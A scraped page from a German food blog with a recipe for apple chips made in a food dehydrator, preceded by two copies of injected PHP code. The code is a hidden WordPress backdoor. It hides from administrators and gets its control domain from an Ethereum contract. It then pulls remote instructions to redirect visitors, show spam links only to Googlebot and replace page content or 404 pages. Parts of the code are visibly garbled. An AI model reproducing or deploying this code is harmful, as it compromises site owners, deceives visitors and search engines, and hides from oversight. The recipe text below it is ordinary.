if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&¤t_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo''."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='
  • '.esc_html($r['t']).'
    • ';if($h!=='')echo'
    More
      '.$h.'
    ';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'';wp_head();echo''.$p['h'];wp_footer();echo'';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&¤t_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo''."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='
  • '.esc_html($r['t']).'
    • ';if($h!=='')echo'
    More
      '.$h.'
    ';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'';wp_head();echo''.$p['h'];wp_footer();echo'';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */ Apfelchips – Leckere Knabberei selbst gemacht - Der Kohli Blog

    Knusprige Apfelchips sind der perfekte gesunde Snack! Einfach süße Äpfel (z. B. Gala oder Pink Lady) waschen, in dünne Scheiben schneiden und auf die Bleche eines Dörrgeräts legen.

    Bei 60 °C etwa 11 Stunden trocknen, bis sie schön knackig sind. Optional mit etwas Zimt verfeinern. Ideal für zwischendurch oder zum Mitnehmen! 🍎

    Gemüsehobel
    WMF Dörrautomat

    Zutaten und Utensilien:

    • Äpfel (am besten süße Sorten wie Fuji, Gala oder Pink Lady)
    • Dörrgerät* oder Backofen
    • Schneidebrett und Messer oder Gemüsehobel*
    • Optional: Zitronensaft

    Bilderstrecke

    Apfelchips – Leckere Knabberei selbst gemacht
    Apfelchips – Leckere Knabberei selbst gemacht
    Apfelchips – Leckere Knabberei selbst gemacht
    Apfelchips – Leckere Knabberei selbst gemacht
    Apfelchips – Leckere Knabberei selbst gemacht
    Apfelchips – Leckere Knabberei selbst gemacht

    Zubereitung

    1. Die richtigen Äpfel auswählen:
      Wähle eine süße Apfelsorte wie Fuji, Gala oder Pink Lady. Diese Sorten eignen sich hervorragend, da sie nach dem Trocknen eine angenehme Süße behalten.
    2. Vorbereitung der Äpfel:
      • Äpfel gründlich waschen, um Schmutz und Rückstände zu entfernen.
      • Mit einem sauberen Tuch oder Küchentuch sorgfältig abtrocknen.
      • Den Stil und, falls gewünscht, das Kerngehäuse entfernen (ein Apfelausstecher kann hilfreich sein, wenn du runde Scheiben möchtest).
    3. Äpfel in dünne Scheiben schneiden:
      • Schneide die Äpfel mit einem scharfen Messer oder Gemüsehobel* in gleichmäßige, dünne Scheiben (etwa 2-3 mm dick). Gleichmäßigkeit sorgt dafür, dass alle Scheiben gleichzeitig fertig werden.
      • Optional: Beträufele die Apfelscheiben leicht mit Zitronensaft, um die Farbe zu erhalten. Das ist besonders praktisch, wenn du mehrere Bleche vorbereitest.
    4. Scheiben verteilen:
      • Lege die Apfelscheiben auf die Bleche des Dörrgeräts. Achte darauf, dass sie sich nicht zu sehr überlappen, da sie sonst zusammenkleben können. Ein kleines Überlappen ist jedoch kein Problem.
      • Alternativ kannst du ein Backblech mit Backpapier verwenden, wenn du die Apfelchips im Ofen machst.
    5. Trocknung im Dörrgerät:
      • Stelle das Dörrgerät* auf 60 °C ein. Lasse die Äpfel für etwa 11 Stunden trocknen. Kontrolliere gegen Ende, ob sie die gewünschte Konsistenz erreicht haben – sie sollten knusprig, aber nicht verbrannt sein.
      • Im Backofen: Stelle die Temperatur auf etwa 60-70 °C (Umluft) ein und lasse die Tür einen Spalt geöffnet, damit Feuchtigkeit entweichen kann. Die Trocknungszeit kann hier je nach Dicke der Scheiben und Feuchtigkeitsgehalt 6-10 Stunden betragen.
    6. Abkühlen lassen:
      Nimm die Apfelchips aus dem Gerät und lasse sie auf einem Gitter vollständig abkühlen. Dadurch werden sie noch knuspriger.
    7. Lagern und genießen:
      Bewahre die Apfelchips in einem luftdichten Behälter auf, um sie knusprig zu halten. So bleiben sie über mehrere Wochen frisch – falls sie nicht vorher schon alle aufgegessen sind!
    Apfelchips – Leckere Knabberei selbst gemacht
    Apfelchips – Leckere Knabberei selbst gemacht

    Tipp

    Experimentiere mit verschiedenen Geschmacksnoten! Du kannst die Apfelscheiben vor dem Trocknen leicht mit Zimt oder einer Prise Vanillezucker bestreuen, um ein besonderes Aroma zu erhalten.

    Guten Appetit! 🍎

    siehe auch

    Getrocknete Äpfel aus dem Dörrautomaten: Gesunder Snack für jede Gelegenheit

    Ort: Zuhause

    Aufnahme vom: 11. Dezember 2024
    Themenwelt(en): Essen & Trinken

    Kamera: Samsung Galaxy S23 Ultra

    *Affiliate-Link


    ähnliche Beiträge:

    Apfelchips – Leckere Knabberei selbst gemachtGetrocknete Äpfel aus dem Dörrautomaten: Gesunder Snack für jede Gelegenheit Getrocknete Kasslerstreifen: Der herzhafte Snack aus dem DörrautomatenGetrocknete Kasslerstreifen: Der herzhafte Snack aus dem Dörrautomaten Getrocknetes Rindfleisch im DörrautomatenGetrocknetes Rindfleisch im Dörrautomaten Schwedischer Apfelkuchen weihnachtlich gepimptSchwedischer Apfelkuchen weihnachtlich gepimpt Die Mungbohne: Der kleine Nährstoff-Riese für deine KücheDie Mungbohne: Der kleine Nährstoff-Riese für deine Küche Feurig-cremige Chili-Cheese-Sauce: Der perfekte Dip für Deine NachosFeurig-cremige Chili-Cheese-Sauce: Der perfekte Dip für Deine Nachos Ein köstlicher Klassiker: Mit Couscous gefüllte ZucchiniEin köstlicher Klassiker: Mit Couscous gefüllte Zucchini Schnelles Ofengericht: Rosenkohl mit würziger Teriyaki-Sauce und ParmesanSchnelles Ofengericht: Rosenkohl mit würziger Teriyaki-Sauce und Parmesan Wenn Obst in den Überwachungsmodus gehtWenn Obst in den Überwachungsmodus geht Tomatensaft: Ein erfrischender und gesunder GenussTomatensaft: Ein erfrischender und gesunder Genuss Die Chili Purple Tiger: Eine Augenweide für Garten und KücheDie Chili Purple Tiger: Eine Augenweide für Garten und Küche gegrilltes Bananen Nudossi Sandwish vom OptiGrillgegrilltes Bananen Nudossi Sandwish vom OptiGrill Ursprung von GyrosUrsprung von Gyros GyrosGyros Die ultimative Aufpimp-Aktion: Kesselchips mit Jalapeño-Power aus dem eigenen GewächshausDie ultimative Aufpimp-Aktion: Kesselchips mit Jalapeño-Power aus dem eigenen Gewächshaus Warum Chilis so gesund sind: Die Vorteile des scharfen GewürzesWarum Chilis so gesund sind: Die Vorteile des scharfen Gewürzes Die schlechteste Zutat beim Kochen ist die UngeduldDie schlechteste Zutat beim Kochen ist die Ungeduld Frisch aus dem Gewächshaus: Aromatische Tomatensuppe und ein Vorrat für den WinterFrisch aus dem Gewächshaus: Aromatische Tomatensuppe und ein Vorrat für den Winter 🍅🌶️🌿 Kochen ist wie Liebe! Mit Hingabe, Leidenschaft und manchmal ein wenig ChaosKochen ist wie Liebe! Mit Hingabe, Leidenschaft und manchmal ein wenig Chaos Kochen ist Kunst und der Teller ist deine LeinwandKochen ist Kunst und der Teller ist deine Leinwand Gartenfrische Kartoffel-Liebe: Einfach, ehrlich, unwiderstehlich!Gartenfrische Kartoffel-Liebe: Einfach, ehrlich, unwiderstehlich!